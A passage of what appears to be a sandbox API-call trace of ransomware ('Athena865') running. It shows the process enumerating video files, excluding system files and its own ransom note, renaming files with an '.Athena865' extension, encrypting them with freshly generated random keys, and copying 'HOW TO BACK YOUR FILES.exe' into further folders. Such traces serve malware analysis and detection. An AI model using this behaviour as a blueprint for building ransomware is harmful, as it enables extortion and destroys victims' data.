lstrcmpiW (lpString1="M.mp4", lpString2="accde") returned 1 [0102.770] lstrlenW (lpString="accdr") returned 5 [0102.770] lstrcmpiW (lpString1="M.mp4", lpString2="accdr") returned 1 [0102.770] lstrlenW (lpString="accdt") returned 5 [0102.770] lstrcmpiW (lpString1="M.mp4", lpString2="accdt") returned 1 [0102.770] lstrlenW (lpString="accdw") returned 5 [0102.770] lstrcmpiW (lpString1="M.mp4", lpString2="accdw") returned 1 [0102.770] lstrlenW (lpString="accft") returned 5 [0102.770] lstrcmpiW (lpString1="M.mp4", lpString2="accft") returned 1 [0102.770] lstrlenW (lpString="adb") returned 3 [0102.770] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0102.771] lstrlenW (lpString="adb") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0102.771] lstrlenW (lpString="ade") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="ade") returned 1 [0102.771] lstrlenW (lpString="adf") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="adf") returned 1 [0102.771] lstrlenW (lpString="adn") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="adn") returned 1 [0102.771] lstrlenW (lpString="adp") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="adp") returned 1 [0102.771] lstrlenW (lpString="alf") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="alf") returned 1 [0102.771] lstrlenW (lpString="ask") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="ask") returned 1 [0102.771] lstrlenW (lpString="btr") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="btr") returned 1 [0102.771] lstrlenW (lpString="cat") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="cat") returned 1 [0102.771] lstrlenW (lpString="cdb") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="cdb") returned 1 [0102.771] lstrlenW (lpString="ckp") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="ckp") returned 1 [0102.771] lstrlenW (lpString="cma") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="cma") returned 1 [0102.771] lstrlenW (lpString="cpd") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="cpd") returned 1 [0102.771] lstrlenW (lpString="dacpac") returned 6 [0102.771] lstrcmpiW (lpString1="cM.mp4", lpString2="dacpac") returned -1 [0102.771] lstrlenW (lpString="dad") returned 3 [0102.771] lstrcmpiW (lpString1="mp4", lpString2="dad") returned 1 [0102.771] lstrlenW (lpString="dadiagrams") returned 10 [0102.771] lstrcmpiW (lpString1="aEOncM.mp4", lpString2="dadiagrams") returned -1 [0102.771] lstrlenW (lpString="daschema") returned 8 [0102.771] lstrcmpiW (lpString1="OncM.mp4", lpString2="daschema") returned 1 [0102.772] lstrlenW (lpString="db-journal") returned 10 [0102.772] lstrcmpiW (lpString1="aEOncM.mp4", lpString2="db-journal") returned -1 [0102.772] lstrlenW (lpString="db-shm") returned 6 [0102.772] lstrcmpiW (lpString1="cM.mp4", lpString2="db-shm") returned -1 [0102.772] lstrlenW (lpString="db-wal") returned 6 [0102.772] lstrcmpiW (lpString1="cM.mp4", lpString2="db-wal") returned -1 [0102.772] lstrlenW (lpString="dbc") returned 3 [0102.772] lstrcmpiW (lpString1="mp4", lpString2="dbc") returned 1 [0102.772] lstrlenW (lpString="dbs") returned 3 [0102.772] lstrcmpiW (lpString1="mp4", lpString2="dbs") returned 1 [0102.772] lstrlenW (lpString="dbt") returned 3 [0102.772] lstrcmpiW (lpString1="mp4", lpString2="dbt") returned 1 [0102.772] lstrlenW (lpString="dbv") returned 3 [0102.772] lstrcmpiW (lpString1="mp4", lpString2="dbv") returned 1 [0102.772] lstrlenW (lpString="dbx") returned 3 [0102.772] lstrcmpiW (lpString1="mp4", lpString2="dbx") returned 1 [0102.772] lstrlenW (lpString="dcb") returned 3 [0102.772] lstrcmpiW (lpString1="mp4", lpString2="dcb") returned 1 [0102.772] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\Y48eaEOncM.mp4.Athena865") returned 96 [0102.772] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\Y48eaEOncM.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\y48eaeoncm.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\Y48eaEOncM.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\y48eaeoncm.mp4.athena865"), dwFlags=0x1) returned 1 [0102.773] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\Y48eaEOncM.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\y48eaeoncm.mp4.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0102.773] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33093) returned 1 [0102.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.774] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.774] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.774] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.775] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8450, lpName=0x0) returned 0x154 [0102.775] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8450) returned 0x100000 [0102.776] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.777] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.777] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.777] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.778] CloseHandle (hObject=0x154) returned 1 [0102.778] CloseHandle (hObject=0x17c) returned 1 [0102.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.779] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x286aa140, ftCreationTime.dwHighDateTime=0x1d4c743, ftLastAccessTime.dwLowDateTime=0xfb568530, ftLastAccessTime.dwHighDateTime=0x1d4c84f, ftLastWriteTime.dwLowDateTime=0xfb568530, ftLastWriteTime.dwHighDateTime=0x1d4c84f, nFileSizeHigh=0x0, nFileSizeLow=0xd46f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YQHAtgNl66vBtxq7rle.flv", cAlternateFileName="YQHATG~1.FLV")) returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2=".") returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="..") returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="windows") returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="bootmgr") returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="temp") returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="pagefile.sys") returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="boot") returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="ids.txt") returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="ntuser.dat") returned 1 [0102.779] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="perflogs") returned 1 [0102.780] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2="MSBuild") returned 1 [0102.780] lstrlenW (lpString="YQHAtgNl66vBtxq7rle.flv") returned 23 [0102.780] lstrcpyW (in: lpString1=0x241e8d8, lpString2="YQHAtgNl66vBtxq7rle.flv" | out: lpString1="YQHAtgNl66vBtxq7rle.flv") returned="YQHAtgNl66vBtxq7rle.flv" [0102.780] lstrlenW (lpString="YQHAtgNl66vBtxq7rle.flv") returned 23 [0102.780] lstrlenW (lpString="Athena865") returned 9 [0102.780] lstrcmpiW (lpString1="q7rle.flv", lpString2="Athena865") returned 1 [0102.780] lstrlenW (lpString=".dll") returned 4 [0102.780] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2=".dll") returned 1 [0102.780] lstrlenW (lpString=".lnk") returned 4 [0102.780] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2=".lnk") returned 1 [0102.780] lstrlenW (lpString=".ini") returned 4 [0102.780] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2=".ini") returned 1 [0102.780] lstrlenW (lpString=".sys") returned 4 [0102.780] lstrcmpiW (lpString1="YQHAtgNl66vBtxq7rle.flv", lpString2=".sys") returned 1 [0102.780] lstrlenW (lpString="YQHAtgNl66vBtxq7rle.flv") returned 23 [0102.780] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\YQHAtgNl66vBtxq7rle.flv.Athena865") returned 105 [0102.780] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\YQHAtgNl66vBtxq7rle.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\yqhatgnl66vbtxq7rle.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\YQHAtgNl66vBtxq7rle.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\yqhatgnl66vbtxq7rle.flv.athena865"), dwFlags=0x1) returned 1 [0102.781] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\YQHAtgNl66vBtxq7rle.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\yqhatgnl66vbtxq7rle.flv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0102.781] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=54383) returned 1 [0102.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.782] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.782] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.782] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.783] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd770, lpName=0x0) returned 0x154 [0102.783] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd770) returned 0x100000 [0102.785] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.785] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.785] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.786] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.786] CloseHandle (hObject=0x154) returned 1 [0102.787] CloseHandle (hObject=0x17c) returned 1 [0102.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.788] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e16400, ftCreationTime.dwHighDateTime=0x1d4cfd6, ftLastAccessTime.dwLowDateTime=0x82441d10, ftLastAccessTime.dwHighDateTime=0x1d4cd40, ftLastWriteTime.dwLowDateTime=0x82441d10, ftLastWriteTime.dwHighDateTime=0x1d4cd40, nFileSizeHigh=0x0, nFileSizeLow=0xa109, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zZVZVyNqmQ5 4yU.avi", cAlternateFileName="ZZVZVY~1.AVI")) returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2=".") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="..") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="windows") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="bootmgr") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="temp") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="pagefile.sys") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="boot") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="ids.txt") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="ntuser.dat") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="perflogs") returned 1 [0102.788] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2="MSBuild") returned 1 [0102.789] lstrlenW (lpString="zZVZVyNqmQ5 4yU.avi") returned 19 [0102.789] lstrcpyW (in: lpString1=0x241e8d8, lpString2="zZVZVyNqmQ5 4yU.avi" | out: lpString1="zZVZVyNqmQ5 4yU.avi") returned="zZVZVyNqmQ5 4yU.avi" [0102.789] lstrlenW (lpString="zZVZVyNqmQ5 4yU.avi") returned 19 [0102.789] lstrlenW (lpString="Athena865") returned 9 [0102.789] lstrcmpiW (lpString1="5 4yU.avi", lpString2="Athena865") returned -1 [0102.789] lstrlenW (lpString=".dll") returned 4 [0102.789] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2=".dll") returned 1 [0102.789] lstrlenW (lpString=".lnk") returned 4 [0102.789] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2=".lnk") returned 1 [0102.789] lstrlenW (lpString=".ini") returned 4 [0102.789] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2=".ini") returned 1 [0102.789] lstrlenW (lpString=".sys") returned 4 [0102.789] lstrcmpiW (lpString1="zZVZVyNqmQ5 4yU.avi", lpString2=".sys") returned 1 [0102.789] lstrlenW (lpString="zZVZVyNqmQ5 4yU.avi") returned 19 [0102.789] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\zZVZVyNqmQ5 4yU.avi.Athena865") returned 101 [0102.789] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\zZVZVyNqmQ5 4yU.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\zzvzvynqmq5 4yu.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\zZVZVyNqmQ5 4yU.avi.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\zzvzvynqmq5 4yu.avi.athena865"), dwFlags=0x1) returned 1 [0102.790] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\zZVZVyNqmQ5 4yU.avi.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\zzvzvynqmq5 4yu.avi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0102.790] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41225) returned 1 [0102.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.791] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.791] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.791] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.791] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa410, lpName=0x0) returned 0x154 [0102.792] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa410) returned 0x100000 [0102.793] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.794] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.794] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.794] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.795] CloseHandle (hObject=0x154) returned 1 [0102.795] CloseHandle (hObject=0x17c) returned 1 [0102.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.796] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e16400, ftCreationTime.dwHighDateTime=0x1d4cfd6, ftLastAccessTime.dwLowDateTime=0x82441d10, ftLastAccessTime.dwHighDateTime=0x1d4cd40, ftLastWriteTime.dwLowDateTime=0x82441d10, ftLastWriteTime.dwHighDateTime=0x1d4cd40, nFileSizeHigh=0x0, nFileSizeLow=0xa109, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zZVZVyNqmQ5 4yU.avi", cAlternateFileName="ZZVZVY~1.AVI")) returned 0 [0102.797] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.797] ReleaseMutex (hMutex=0xec) returned 1 [0102.797] CloseHandle (hObject=0xec) returned 1 [0102.797] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat" | out: lpString1="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat" [0102.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e820 | out: hHeap=0x4f0000) returned 1 [0102.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508fd8 | out: hHeap=0x4f0000) returned 1 [0102.797] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat") returned 49 [0102.797] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\DD14C8BCDCE5F3063B803919DEB2BEE8") returned 0xec [0102.797] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.797] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat" | out: lpString1="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat" [0102.797] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.797] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.798] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\adobe\\acrobat\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.798] GetLastError () returned 0x0 [0102.798] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.798] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.799] CloseHandle (hObject=0xf4) returned 1 [0102.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.799] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.799] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat\\*", 